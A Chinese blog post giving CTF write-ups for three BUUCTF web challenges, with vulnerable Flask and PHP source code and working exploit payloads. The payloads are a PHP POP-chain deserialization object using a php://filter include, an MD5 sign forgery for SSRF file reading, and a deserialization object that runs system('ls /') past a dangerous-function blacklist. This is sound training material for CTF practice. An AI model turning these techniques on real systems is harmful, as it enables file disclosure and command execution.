buuctf web

目录

[MRCTF2020]Ezpop

[De1CTF 2019]SSRF Me 1

[网鼎杯 2020 朱雀组]phpweb


[MRCTF2020]Ezpop

Pop链子构造。

首先要明确目的:得到flag.php文件。

简单看一下,发现有include函数,可以利用伪协议来得到flag.php。

改变Modifier中的var属性,可达到目的。

用到的魔法函数:

__construct   当一个对象创建时被调用,

__toString   当一个对象被当作一个字符串被调用。

__wakeup()   使用unserialize时触发

__get()    用于从不可访问的属性读取数据

#难以访问包括:(1)私有属性,(2)没有初始化的属性

__invoke()   当脚本尝试将对象调用为函数时触发

当GET一个pop参数时,首先会被反序列化,便会自动调用Show类中的_wakeup方法。

利用其中的preg_match,给source赋值一个Show类,就调用了__toString()方法。

给str赋值一个Test类,因其没有source属性,便会调用_get方法。

如果给Test中的p属性赋一个Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

改变了Modifier中的var属性,利用文件包含漏洞得到flag.php的内容。

Payload:

<?php

class Modifier {

    protected  $var ='php://filter/read=convert.base64-encode/resource=flag.php' ;



}



class Show{

    public $source;

    public $str;

       public function __construct($file){

    $this->source = $file;

    }

    public function __toString(){

        return "abc";

    }

}



class Test{

    public $p;

}



$a = new Show('a');

$a->str = new Test();

$a->str->p = new Modifier();

$b = new Show($a);

echo urlencode(serialize($b))



?>

运行结果:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

[De1CTF 2019]SSRF Me 1

Flask中的ssrf利用。

排列代码:

from flask import Flask

from flask import request

import socket

import hashlib

import urllib

import sys

import os

import json

reload(sys)

sys.setdefaultencoding('latin1')



app = Flask(__name__)



secert_key = os.urandom(16)





class Task:

    def __init__(self, action, param, sign, ip):

        self.action = action

        self.param = param

        self.sign = sign

        self.sandbox = md5(ip)

        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr

            os.mkdir(self.sandbox)



    def Exec(self):

        result = {}

        result['code'] = 500

        if (self.checkSign()):

            if "scan" in self.action:

                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

                resp = scan(self.param)

                if (resp == "Connection Timeout"):

                    result['data'] = resp

                else:

                    print resp

                    tmpfile.write(resp)

                    tmpfile.close()

                result['code'] = 200

            if "read" in self.action:

                f = open("./%s/result.txt" % self.sandbox, 'r')

                result['code'] = 200

                result['data'] = f.read()

            if result['code'] == 500:

                result['data'] = "Action Error"

        else:

            result['code'] = 500

            result['msg'] = "Sign Error"

        return result



    def checkSign(self):

        if (getSign(self.action, self.param) == self.sign):

            return True

        else:

            return False





#generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():

    param = urllib.unquote(request.args.get("param", ""))

    action = "scan"

    return getSign(action, param)





@app.route('/De1ta',methods=['GET','POST'])

def challenge():

    action = urllib.unquote(request.cookies.get("action"))

    param = urllib.unquote(request.args.get("param", ""))

    sign = urllib.unquote(request.cookies.get("sign"))

    ip = request.remote_addr

    if(waf(param)):

        return "No Hacker!!!!"

    task = Task(action, param, sign, ip)

    return json.dumps(task.Exec())

@app.route('/')

def index():

    return open("code.txt","r").read()





def scan(param):

    socket.setdefaulttimeout(1)

    try:

        return urllib.urlopen(param).read()[:50]

    except:

        return "Connection Timeout"







def getSign(action, param):

    return hashlib.md5(secert_key + param + action).hexdigest()





def md5(content):

    return hashlib.md5(content).hexdigest()





def waf(param):

    check=param.strip().lower()

    if check.startswith("gopher") or check.startswith("file"):

        return True

    else:

        return False





if __name__ == '__main__':

    app.debug = False

app.run(host='0.0.0.0')

先注意@后的内容。

第一个的意思是访问/geneSign会返还secert_key + param + action的MD5的值,目前不知道有什莫用。

继续看第二个,访问/De1ta然后可以cookie传入action和sign的值,还可以控制GET传入param的值。

Waf是防止利用gopher和file协议来获取flag。

在后边跳到了Exec类函数中,一层一层绕过if判断。

在第一个时会检查getSign(self.action, self.param) == self.sign相等时才会返回ture。

所以便用上了刚开始的/geneSign。

传入flag.txt是利用代码中可写入,将flag.txt中的值接入result.txt中,然后再读取回显出来。

GET传入param=flag.txtread,read是由于后边会判断read是否在action中。

之后再cookie传入sing=1513ab8b1aebde90618b96fcd58e62b4;action=readscan,

GET传入param=flag.txt。

[网鼎杯 2020 朱雀组]phpweb

发现跳转,利用bp抓包。

发现可以POST传入func和p参数。

随便传一下。

发现call_user_func()函数,猜测func为该函数的第一个参数,p为第二个。

利用file_get_contents查看index.php的源码。

发现大多函数被禁用,但unserialize没有,可以利用反序列化。

Index.php:

<?php

    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

    function gettime($func, $p) {

        $result = call_user_func($func, $p);

        $a= gettype($result);

        if ($a == "string") {

            return $result;

        } else {return "";}

    }

    class Test {

        var $p = "Y-m-d h:i:s a";

        var $func = "date";

        function __destruct() {

            if ($this->func != "") {

                echo gettime($this->func, $this->p);

            }

        }

    }

    $func = $_REQUEST["func"];

    $p = $_REQUEST["p"];



    if ($func != null) {

        $func = strtolower($func);

        if (!in_array($func,$disable_fun)) {

            echo gettime($func, $p);

        }else {

            die("Hacker...");

        }

    }

?>



Payload:

<?php

class Test {

    var $p = "ls /";

    var $func = "system";

    function __destruct() {

        if ($this->func != "") {

            echo gettime($this->func, $this->p);

        }

    }

}



$a=new Test();

echo serialize($a);

?>

随后找flag就行。

发现flag在/tmp/flagoefiu4r93中,cat查看就行。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值